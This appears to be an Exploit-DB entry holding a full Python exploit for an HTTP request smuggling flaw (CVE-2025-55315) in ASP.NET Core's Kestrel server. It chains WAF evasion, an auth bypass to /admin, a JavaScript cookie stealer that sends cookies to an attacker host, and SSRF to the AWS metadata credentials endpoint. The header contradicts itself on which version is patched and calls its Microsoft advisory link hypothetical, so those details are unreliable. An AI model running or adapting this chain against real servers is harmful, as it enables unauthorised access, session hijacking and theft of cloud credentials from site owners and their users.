ASP.net 8.0.10 - Bypass

EDB-ID:

52492




Platform:

Multiple

Date:

2026-04-06


# Exploit Title: ASP.net  8.0.10 - Bypass
# Date: 2025-11-03
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# CVE: CVE-2025-55315
# Tested on: .NET Kestrel (unpatched) - ASP.NET Core on localhost (lab environment)
# Platform: remote
# Type: webapps
# Attack Vector: Network (HTTP/HTTPS) - Remote exploitation via malformed chunked encoding
# CVSS: 9.8 (Critical) - Estimated: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
#
# Description:
#   This exploit demonstrates a critical HTTP Request Smuggling vulnerability in
#   unpatched versions of .NET Kestrel due to improper handling of malformed
#   chunk extensions (LF-only line endings). The script performs:
#     1. Automatic fingerprinting to detect vulnerable instances
#     2. Auth bypass to access restricted endpoints (/admin)
#     3. Session hijacking via response queue poisoning (JS cookie stealer)
#     4. SSRF to internal metadata services (e.g., AWS 169.254.169.254)
#   Includes WAF bypass using 'chUnKEd' header and generates detailed JSON reports.
#
#   The vulnerability allows full remote compromise: authentication bypass,
#   session theft, and internal network access — all from a single HTTP request.
#
#   Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
#
# IMPORTANT SAFETY :
#   -  DO NOT RUN AGAINST PRODUCTION OR THIRD-PARTY SYSTEMS.
#   - Use only in isolated environments (VM, Docker with --network none).
#   - All payloads are educational and non-destructive by design.
#   - Modify payloads only within your controlled lab.
#
# References:
#   - CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
#   - Microsoft Security Advisory (hypothetical): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315


from __future__ import annotations
import socket
import ssl
import time
import argparse
import json
import os
from typing import Tuple, Optional

DEFAULT_TIMEOUT = 3.0
READ_CHUNK = 4096
REPORT_DIR = "kestrel_desync_reports"
os.makedirs(REPORT_DIR, exist_ok=True)

# ------------------ Utilities ------------------
def now_iso() -> str:
    return time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())

def hexdump(b: bytes, maxlen: int = 200) -> str:
    shown = b[:maxlen]
    hexed = ' '.join(f"{x:02x}" for x in shown)
    return f"{hexed} ..." if len(b) > maxlen else hexed

def save_file(path: str, data: bytes) -> None:
    try:
        with open(path, 'wb') as f:
            f.write(data)
        print(f"[+] Saved: {path}")
    except Exception as e:
        print(f"[!] Save failed: {e}")

# ------------------ Networking ------------------
def send_http(host: str, port: int, data: bytes, use_tls: bool = False) -> Tuple[Optional[bytes], bool]:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(DEFAULT_TIMEOUT)
    try:
        if use_tls:
            ctx = ssl.create_default_context()
            s = ctx.wrap_socket(s, server_hostname=host)
        s.connect((host, port))
        s.sendall(data)

        parts = []
        while True:
            try:
                chunk = s.recv(READ_CHUNK)
                if not chunk: break
                parts.append(chunk)
            except socket.timeout:
                break
        resp = b''.join(parts)

        s.settimeout(0.2)
        try:
            s.recv(1)
            open_flag = True
        except:
            open_flag = False
        s.close()
        return resp, open_flag
    except Exception:
        return None, False

# ------------------ Request Builder (WAF Bypass) ------------------
def build_chunked(method: str, path: str, body: bytes, extra_headers: list = None) -> bytes:
    headers = [
        f"{method} {path} HTTP/1.1",
        "Host: localhost",
        "Transfer-Encoding: chUnKEd",  # WAF Bypass
        "Content-Type: text/plain",
    ]
    if extra_headers:
        headers.extend(extra_headers)
    headers.extend(["", ""])
    return "\r\n".join(headers).encode() + body

# ------------------ Fingerprint ------------------
def fingerprint(host: str, port: int, use_tls: bool) -> Tuple[bool, Optional[bytes]]:
    print(f"[*] Fingerprinting {host}:{port}...")
    payload = b"1\nx\n0\n\n"
    req = build_chunked("POST", "/", payload)
    resp, _ = send_http(host, port, req, use_tls)
    if resp and b"400" not in resp.split(b'\r\n', 1)[0]:
        print(f"[!] VULNERABLE: Accepted LF-only chunk!")
        return True, resp
    print(f"[+] Patched: 400 Bad Request")
    return False, resp

# ------------------ Exploit Chain ------------------
def exploit_chain(host: str, port: int, use_tls: bool):
    results = []

    # 1. Auth Bypass
    print(f"[!] 1. Auth Bypass → /admin")
    smug_admin = b"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\nX-Bypass: yes\r\n\r\n"
    req1 = build_chunked("POST", "/", b"1;ext\nx\n" + smug_admin, ["Content-Length: 50"])
    resp1, _ = send_http(host, port, req1, use_tls)
    if resp1 and (b"admin" in resp1.lower() or b"dashboard" in resp1.lower()):
        results.append("Auth Bypass: SUCCESS")
        save_file(os.path.join(REPORT_DIR, f"admin_page_{host}_{port}.html"), resp1)
    else:
        results.append("Auth Bypass: FAILED")

    # 2. Session Hijacking
    print(f"[!] 2. Session Hijacking → JS Stealer")
    js_payload = (
        b"0\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n"
        b"Content-Type: text/html\r\nContent-Length: 120\r\n\r\n"
        b"<script>fetch('http://attacker.local/steal?c='+document.cookie)</script>"
    )
    req2 = build_chunked("POST", "/", b"1;ext\nx\n" + js_payload)
    send_http(host, port, req2, use_tls)
    results.append("Session Hijack: INJECTED")

    # 3. SSRF
    print(f"[!] 3. SSRF → AWS Metadata")
    ssrf = b"0\r\n\r\nGET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: localhost\r\n\r\n"
    req3 = build_chunked("POST", "/", b"1;ext\nx\n" + ssrf)
    resp3, _ = send_http(host, port, req3, use_tls)
    if resp3 and b"role" in resp3:
        results.append("SSRF: SUCCESS")
        save_file(os.path.join(REPORT_DIR, f"ssrf_metadata_{host}_{port}.txt"), resp3)
    else:
        results.append("SSRF: FAILED")

    return results

# ------------------ Reporting ------------------
def save_json_report(host: str, port: int, use_tls: bool, results: list):
    report = {
        "target": f"{host}:{port}",
        "tls": use_tls,
        "timestamp": now_iso(),
        "cve": "CVE-2025-55315",
        "status": "VULNERABLE",
        "waf_bypass": "chUnKEd",
        "exploits": results
    }
    path = os.path.join(REPORT_DIR, f"REPORT_{host}_{port}_{int(time.time())}.json")
    with open(path, 'w', encoding='utf-8') as f:
        json.dump(report, f, indent=2)
    print(f"[+] JSON Report: {path}")

# ------------------ CLI ------------------
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("target", help="host:port or host:port:tls")
    args = parser.parse_args()

    parts = args.target.split(":")
    host = parts[0]
    port = int(parts[1])
    use_tls = len(parts) > 2 and parts[2].lower() in ("tls", "1")

    print(f"\n=== Kestrel Desync Full Chain ===\nTarget: {host}:{port} (TLS: {use_tls})\n")

    is_vuln, _ = fingerprint(host, port, use_tls)
    if not is_vuln:
        print("[+] Target is patched. Exiting.")
        return

    results = exploit_chain(host, port, use_tls)
    save_json_report(host, port, use_tls, results)

    print(f"\n[+] Exploitation chain completed!")
    print(f"[+] All files in: {REPORT_DIR}")

if __name__ == "__main__":
    main()